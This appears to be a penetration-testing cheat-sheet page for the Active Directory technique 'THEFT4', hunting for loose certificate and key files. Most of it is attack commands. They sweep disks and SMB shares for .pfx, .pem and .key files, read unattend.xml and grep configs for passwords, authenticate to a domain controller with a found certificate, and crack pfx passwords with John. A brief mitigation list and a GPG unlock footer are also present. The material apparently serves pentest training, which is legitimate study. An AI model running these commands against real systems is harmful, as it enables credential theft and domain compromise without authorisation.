AD^:Active Directory

THEFT4 — Finding Certificate Files

No cryptography needed here. Admins and automation constantly leave certificate material lying around: exported .pfx backups, id_rsa-style key files…

advancedupdated 2026-08-10NetExec · Certipy · John · Snaffler

THEFT4 — Finding Certificate Files

Quick Reference

FieldValue
CategoryCredential Theft (file hunting)
DifficultyLow
Pre-requisitesRead access to a filesystem / share
ToolsSeatbelt, PowerShell, findstr, Snaffler, Certify
OPSEC NoiseLow — read-only file discovery
One-linerHunt loose certificate and key files (.pfx .p12 .pem .key) left on disk, shares, and in config/unattend files, then authenticate with any that carry an auth EKU.

What Is THEFT4?

No cryptography needed here. Admins and automation constantly leave certificate material lying around: exported .pfx backups, id_rsa-style key files, unattend.xml/sysprep blobs, IIS bindings, web-app config, and network-share dumps. THEFT4 is systematic file hunting for these artefacts.


Step 1 — Hunt Locally

# PowerShell — recursive search for common cert/key extensions
Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue `
  -Include *.pfx,*.p12,*.pem,*.key,*.crt,*.cer,*.p7b,*.pkcs12,*.jks,*.keystore 2>$null |
  Select-Object FullName, Length, LastWriteTime
:: cmd / findstr sweep
dir C:\ /s /b | findstr /i "\.pfx \.p12 \.pem \.key \.crt \.cer"

:: Credentials frequently embedded here
findstr /s /i "password" C:\*.xml C:\*.config 2>nul
type C:\Windows\Panther\unattend.xml
# Seatbelt — dedicated modules
Seatbelt.exe Certificates
Seatbelt.exe InterestingFiles

# Certify — find cert files
Certify.exe find /files

Step 2 — Hunt Shares

# Snaffler (from a Windows foothold) — classifies findings, flags cert/key files
Snaffler.exe -s -o snaffler.log

# From Linux — spider readable shares with netexec, then grep
netexec smb $TARGET -u user -p pass -M spider_plus

Step 3 — Triage & Authenticate

# Inspect what an unknown pfx contains (identity, EKU, expiry)
certipy-ad cert -pfx found.pfx -password '' -nokey -out /dev/stdout   # peek
openssl pkcs12 -info -in found.pfx -nodes                             # or openssl

# If it has Client Auth / PKINIT EKU and a private key -> authenticate
certipy-ad auth -pfx found.pfx -dc-ip $TARGET

[!tip] Password-protected pfx? Crack it with John: pfx2john found.pfx > pfx.hash && john --wordlist=rockyou.txt pfx.hash. See john-cheatsheet (--format=pfx).


OPSEC Considerations

ActionArtefactNoise
Recursive Get-ChildItemhigh disk I/O, possible EDR heuristic🟡 Medium
Share spideringSMB access logs on file servers🟡 Medium
Reading a filefile-audit events (if enabled)🟢 Low

Mitigation

  • Never store .pfx/private keys on shares or in config/unattend files; use a secrets vault.
  • Scan the estate for stray key material (the same tools defenders can run).
  • Password-protect and short-date any exported certs; rotate on exposure.
  • Enable file-access auditing on sensitive shares.

See Also

  • _ADCS Attack Methodology Guide · THEFT1 — Exporting Certificates and Keys · john-cheatsheet
  • Sources: SpecterOps Certified Pre-Owned; Seatbelt
On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.